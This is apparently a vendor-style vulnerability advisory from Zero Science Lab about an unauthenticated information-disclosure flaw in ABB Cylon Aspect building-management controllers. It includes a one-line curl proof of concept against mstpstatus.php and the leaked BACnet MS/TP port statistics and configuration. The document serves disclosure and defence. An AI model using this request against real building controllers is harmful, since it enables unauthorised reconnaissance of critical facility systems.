ABB Cylon Aspect 3.08.01 mstpstatus.php Information Disclosure

ABB Cylon Aspect 3.08.01 (mstpstatus.php) Information Disclosure

Vendor: ABB Ltd.
Product web page: https://www.global.abb
Affected version: NEXUS Series, MATRIX-2 Series, ASPECT-Enterprise, ASPECT-Studio
Firmware: <=3.08.01

Summary: ASPECT is an award-winning scalable building energy management
and control solution designed to allow users seamless access to their
building data through standard building protocols including smart devices.

Desc: The ABB BMS/BAS controller suffers from an unauthenticated information
disclosure vulnerability. An unauthorized attacker can reference the affected
page and disclose various BACnet MS/TP statistics running on the device.

Tested on: GNU/Linux 3.15.10 (armv7l)
GNU/Linux 3.10.0 (x86_64)
GNU/Linux 2.6.32 (x86_64)
Intel® Atom™ Processor E3930 @ 1.30GHz
Intel® Xeon® Silver 4208 CPU @ 2.10GHz
PHP/7.3.11
PHP/5.6.30
PHP/5.4.16
PHP/4.4.8
PHP/5.3.3
AspectFT Automation Application Server
lighttpd/1.4.32
lighttpd/1.4.18
Apache/2.2.15 (CentOS)
OpenJDK Runtime Environment (rhel-2.6.22.1.-x86_64)
OpenJDK 64-Bit Server VM (build 24.261-b02, mixed mode)

Vulnerability discovered by Gjoko ‘LiquidWorm’ Krstic
@zeroscience

Advisory ID: ZSL-2024-5865
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2024-5865.php

21.04.2024

–

$ cat project

             P   R   O   J   E   C   T

                    .|  
                    | |  
                    |'|            ._____  
            ___    |  |            |.   |' .---"|  
    _    .-'   '-. |  |     .--'|  ||   | _|    |  
 .-'|  _.|  |    ||   '-__  |   |  |    ||      |  
 |' | |.    |    ||       | |   |  |    ||      |  

____| '-' ' “” '-' '-.’ '` |____
░▒▓███████▓▒░░▒▓███████▓▒░ ░▒▓██████▓▒░░▒▓█▓▒░▒▓███████▓▒░
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
░▒▓███████▓▒░░▒▓███████▓▒░░▒▓████████▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
░▒▓███████▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
░▒▓████████▓▒░▒▓██████▓▒░ ░▒▓██████▓▒░
░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░░░░░░
░▒▓██████▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒▒▓███▓▒░
░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
░▒▓█▓▒░░░░░░░░▒▓██████▓▒░ ░▒▓██████▓▒░

$ curl http://192.168.73.31/mstpstatus.php
Thu Nov 28 10:13:51 UTC 2024<br><div id=’Port 0Stat’ class=’portStats’><div id=’Port 0Load’>Port 0 Load: 123 Average time (ms) to wait for token return
47 Average time (ms) to wait for for a reply
20 Max info frames
1063 Estimated time for max_nfo_frmaes tx plus token cycle (ms)
18 Estimated max rate (trasactions per sec)
38 congestion threashold
%</div><div id=’Port 0BPSTotal’>Port 0 BPS (Total): </div><div id=’Port 0BPSOurs’>Port 0 BPS (Mine): </div></div><div id=’Port 1Stat’ class=’portStats’><div id=’Port 1Load’>Port 1 Load: 34 Average time (ms) to wait for token return
40 Average time (ms) to wait for for a reply
20 Max info frames
834 Estimated time for max_nfo_frmaes tx plus token cycle (ms)
23 Estimated max rate (trasactions per sec)
48 congestion threashold
%</div><div id=’Port 1BPSTotal’>Port 1 BPS (Total): </div><div id=’Port 1BPSOurs’>Port 1 BPS (Mine): </div></div><br />
$Id: mstp.ko R_03_05_01 Thu Sep 23 09:30:32 EDT 2021 $ <br />
Proto: 0<br />
<br />
Port 0 Statistics =======================<br />
Baud Rate: 38400<br />
RX Characters: 60521<br />
RX echoes: 0<br />
RX Errors: 31<br />
TX Characters: 49671<br />
Echo detect fails: 0<br />
<br />
Port 0 MSTP State =======================<br />
ValidRXFrameCnt: 42320<br />
InvdRXFrameCnt: 61<br />
rxDataFrames: 16558<br />
rxToken: 29242<br />
TXFrameCnt: 2072<br />
TXQueCnt: 1<br />
CongestionCnt: 0<br />
Poll_Station: 0<br />
SoleMaster: FALSE<br />
<br />
Port 0 config =======================<br />
Nmax_master: 127<br />
Nmax_info_frames: 20<br />
This_Station: 0<br />
Tno_token: 500<br />
Tusage timeout 30<br />
congestion (auto): 38<br />
Npoll: 50<br />
<br />
<br />
Port 1 Statistics =======================<br />
Baud Rate: 38400<br />
RX Characters: 0<br />
RX echoes: 0<br />
RX Errors: 0<br />
TX Characters: 33632<br />
Echo detect fails: 0<br />
<br />
Port 1 MSTP State =======================<br />
ValidRXFrameCnt: 0<br />
InvdRXFrameCnt: 0<br />
rxDataFrames: 0<br />
rxToken: 0<br />
TXFrameCnt: 2<br />
TXQueCnt: 0<br />
CongestionCnt: 0<br />
Poll_Station: 29<br />
SoleMaster: TRUE<br />
<br />
Port 1 config =======================<br />
Nmax_master: 127<br />
Nmax_info_frames: 20<br />
This_Station: 0<br />
Tno_token: 500<br />
Tusage timeout 30<br />
congestion (auto): 48<br />
Npoll: 50<br />
<br />